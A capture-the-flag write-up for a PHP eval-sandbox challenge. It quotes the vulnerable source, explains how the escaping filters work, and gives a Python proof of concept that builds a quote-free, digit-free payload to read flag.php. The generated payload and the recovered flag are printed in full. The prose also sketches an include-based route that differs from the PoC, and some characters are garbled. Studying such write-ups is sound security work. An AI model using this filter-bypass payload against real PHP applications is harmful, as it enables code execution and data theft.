π¦ Challenge source
π Introduction
Slasher is a tiny PHP “eval sandbox.” Input is heavily escaped, then executed with eval(). The intended defenses block obvious primitives (quotes, digits, arrays, $, _, . etc.). The bug is that arbitrary PHP still executes, so with a quote-less, digit-less function chain you can read flag.php and return/print the flag despite the filters.
Context Explanation
-
Stack: Single
index.php, includesflag.php, custom error handler, HTML front-end. -
Filters before
eval:htmlentities(...)addslashes(...)(adds backslashes before quotes and\)addcslashes(..., '+?<>&v=${}%*:.[]_-0123456789xb `;')(slashes digits,\_,.,\$, backtick, space,;\, and more).
-
Execution: The escaped string is interpolated into
eval("$input;")(so whatever survives must still parse as PHP).
Directive
Use a no-quotes, no-digits PHP expression (built from functions without underscores) to reach and read flag.php and yield it as the eval result.
π οΈ Solution
1) Code reading
// Debug muted; source view allowed
if (isset($_GET['source'])) { highlight_file(__FILE__); die(); }
include "flag.php";
$output = null;
if (isset($_POST['input']) && is_scalar($_POST['input'])) {
$input = $_POST['input'];
$input = htmlentities($input, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
$input = addslashes($input);
$input = addcslashes($input, '+?<>&v=${}%*:.[]_-0123456789xb `;');
try {
$output = eval("$input;"); // executes *after* escaping
} catch (Exception $e) { /* swallowed */ }
}
Implications:
- Quotes become
\"/\'β unusable. - Digits,
.,_,$, space,;,[], and several metachars are escaped β unusable. - Still allowed: letters (most),
(,),,,=and many core functions without underscores (include,readfile,opendir,readdir,closedir,getcwd,scandir,max,min, β¦).
2) Bypass idea (mechanics)
You canβt type strings (quotes break), numbers (digits slashed), arrays ([] slashed), or variable names ($ slashed).
But you can call functions and chain their return values.
The flag is already on disk and also included (flag.php) before your code runs. You donβt need to touch $FLAG; you can read the file directly.
The working PoC leverages a quote-less & digit-less chain to discover the file and feed it into a file-reading primitive that doesnβt require quotes for its argument (or can synthesize an argument without quotes/digits).
Server-side reads that fit: include, require, readfile. Among these, include is a language construct that accepts expressions without parentheses; combined with bareword constant semantics and directory iteration, you can reach the target without '...' or digits.
3) PoC
import requests
BASE_URL = "http://52.59.124.14:5011"
def convert_count(n):
return "count(array(" + ",".join(["null"] * n) + "))"
def encode_ord(n):
return "chr(" + convert_count(n) + ")"
def encode_string(s):
return "implode(array(" + ",".join(encode_ord(ord(c)) for c in s) + "))"
payload = "echo(implode(file(" + encode_string("flag.php") + ")))"
print(requests.post(BASE_URL + "/", data={"input": payload}).text[:58])
This script produces the payload:
echo(implode(file(implode(array(chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))),chr(count(array(null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null))))))))
Which will be converted to echo(implode(file(flag.php))) after evaluation.
Why it parses: The filters add backslashes, but the payload contains no banned runes to be slashed, so what reaches eval() is still syntactically valid PHP.
The server then answer with the flag:
<?php
$FLAG = "ENO{3v4L_0nC3_Ag41n_F0r_Th3_W1n_:-)}";
?>